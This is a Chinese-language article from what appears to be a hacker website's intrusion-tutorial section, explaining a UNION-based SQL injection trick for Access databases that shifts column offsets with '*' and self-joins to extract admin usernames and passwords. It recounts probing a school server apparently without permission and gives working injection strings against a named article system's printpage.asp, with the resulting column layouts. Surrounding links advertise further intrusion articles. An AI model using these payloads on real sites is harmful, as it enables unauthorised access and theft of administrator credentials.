奥运倒计时: 设为首页 加入收藏
点击进入太平洋安全网首页
论坛登陆 用户名: 密码:
首页 新闻资讯 文章中心 黑客资源 黑客点睛 安全防护 软件下载 动画教程 会员咨询 技术问答 论坛社区
文章 下载 图片
文章   | 电脑知识 | 网络知识 | 菜鸟入门 | 入侵教程 | 黑客攻防 | 黑客编程 | 原创精华 | 黑客人物 | 黑客技术 | 提权技术 | 跨站技术 | 渗透技术 | 鸽子专题 |
 您现在的位置: 太平洋安全网 >> 文章 >> 入侵教程 >> 正文

怪招:Union注入偏移量

怪招:Union注入偏移量
作者:佚名    文章来源:佚名    点击数:    更新时间:2008-6-14

不久前对学校的一个主机进行友情渗透,网站采用的是一套自行开发的ASP+Access程序。也没问是什么表结构,顺利找到一注入点。文章表取了5个字段,能够正常显示的字段索引值为(2、3、5),管理员表为Admin,猜中两个常用字段:ID、Password,采用逆推法:union select 1,1,* from admin时正常返回,得知admin表有3个字段,用户名字段不得而知。遗憾的是,这个用户名字段只能显示在4的位置(后来得知为adminuser),如表1所示:
1 2 3 4 5
1 1 ID Adminuser Password
表1
想来是心有不甘,我随随便便将2改为ID提交(union select 1,ID,* from admin),令人意想不到的是,系统报错:
Microsoft JET Database Engine 错误 '80040e14'
在联合查询中所选定的两个数据表或查询中的列数不匹配。
/list_kx.asp,行11
我以为看错了眼,核实了一下列数,1+ID+*(3)= 5,怎么不对啊?计算机连数个数都错了?既然你说我错了,我给你凑!
提交union select ID,* from admin,错!union select 1,1,ID,* from admin,正常!我就纳闷了:1+1+ID+*(3)= 6,你居然还能正常返回!?6怎么就等于5了呢?还好学了点数据库理论:
DBMS 和RDBMS的重要区别在于:RDBMS提供丁一种面问集合的数据语言。对于大多数的RDBMS,这种面向集合的数据库语言就是SQL。“向向集合”是指SQL同时处理—组数据,换句话说,每次查询的返回结果,是一个集合(结果集)。而一个集合中的元素是没有重复出现的,在两个集合的并集中,两个元素的公共元素只能出现一次。于是,union select 1,1,* from admin的结果集等同于union select 1,1,ID,* from admin,不同之处在于,*(所有列)变了:
*1 = {ID,Adminuser,Password},*2 = {Adminuser,Password}
请注意这样一个重要事实:我们改变了“*”(所有列)!
但是仅仅这样的改变对于我们的猜解仍是毫无意义的,用户名字段Adminuser还是在列索引为4的位置上,幸好我们还有一张王牌:Password字段!
提交union select 1,1,Password,* from admin!如愿以偿,通过改造*,成功的将用户名字段曝光。如表2所示。
1 2 3 4 5
1 1 Password ID Adminuser

表2
以上只是最简单的一种情况,以动力文章3.0版(Access)为例,printpage.asp有SQL注入漏洞,变量ArticleID未作过滤,sql="select * from article where ArticleID=" & ArticleID & "",查询的是ARTICLE表,28个字段,我们Union了ADMIN表,这个表有8个字段,表结构如下:
ID | Username | Password | Purview | LastLoginIP | LastLoginTime | LastLogoutTime | LoginTimes
观察出能够显示的字段索引值为(3、4、5、8、14),如果未猜得足够的字段名,假设我们只知道ID字段,使用*,加上对ADMIN表进行3次自联接,再加4位配凑字段,提交这样的查询语句: union select 1,1,1,1,* from ((admin as a inner join on admin as b on a.id = b.id) inner join on admin as c on a.id = c.id),结果很不幸,Password字段不能显示出来,如表3所示:
5 …… 8 …… 14
a.ID …… a.Purview …… b.Username

表3
就以往的方法,也就没辙了,还好刚刚打了把倚天剑,因为能对Admin表进行3次自联接,那怕我们只知道ID字段,且看我如何四两拔千斤:
union select 1,1,1,1, a.id,* from(……),世界是如此宁静……
union select 1,1,1,1, a.id, b.id,* from(……),偏移!
union select 1,1,1,1, a.id, b.id, c.id,* from(……),偏移!
如表4所示。
5 …… 8 …… 14
a.ID …… a.Purview …… b.Username
a.ID …… a.Password …… b.Username
a.ID …… a.Username …… a.LoginTimes
表4
成功获取用户名与密码!趁胜利还没有冲昏头脑的时候,还有些细节要与大家讨论:为什么第一次没有发生任何的偏移?什么时间、什么地点才会发生偏移?偏移量又是多少?
运用归纳法,当“*”含1个表时:
先回头看看第一个例子,我们把Password字段提到前面来,ID、Adminuser都跟着往后移了,也就是说:只要是在被提取字段(此例为:Password)之前的,统统往后挪;ID字段处于表中所有字段之首,也就不得动了;
当“*”含N个表时,活动余地更大了,同样一个字段,却变成了n个同胞兄弟,也就能被提出来n次,但到底能偏移多少次,那就要看缘分了,表5是第二个例子的偏移说明:
5->13
5->13 14->21
表5
5至13偏移了两次,而14至21位置只偏移了一次,所以8这个位置能够偏出Password和Username,而14只偏出了LoginTimes。
以上为掌握字段数为1的情况,如果猜出了N个字段,偏移量就能再翻N番!大意如此,将欲写个基于Union的注入机

文章录入:原諒ωǒ今天    责任编辑:xiaonao 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     推荐文章
    固顶文章利用系统漏洞轻轻松松绕过你的验证码
    推荐文章在网页里挂上代码的技巧(图)
    推荐文章推荐:用存储过程一样搞定服务器
    推荐文章完整XSS wrom入侵流程
    推荐文章意外拿下jsp服务器
    推荐文章高手解析如何入侵3389
    推荐文章我是如何黑掉PacketStorm论坛的
    推荐文章看紧你的3306端口,一次通过mysql的检测
     热门文章
    普通文章各种入侵批处理
    普通文章黑客入侵网络的五十种方法
    普通文章注入限制绕过
    普通文章利用ASP技术实现文件直接上传功能
    普通文章百度音乐掌门人跨站漏洞
    普通文章拿电子科大网络学堂手工注入
    普通文章入侵全球最大骗子查询网
    普通文章三种后门技术安全知识
     本站推荐

    关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 站长信箱 | 友情链接 | 网站地图
    24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
    客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
    Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
    许可证号:豫ICP备07005385号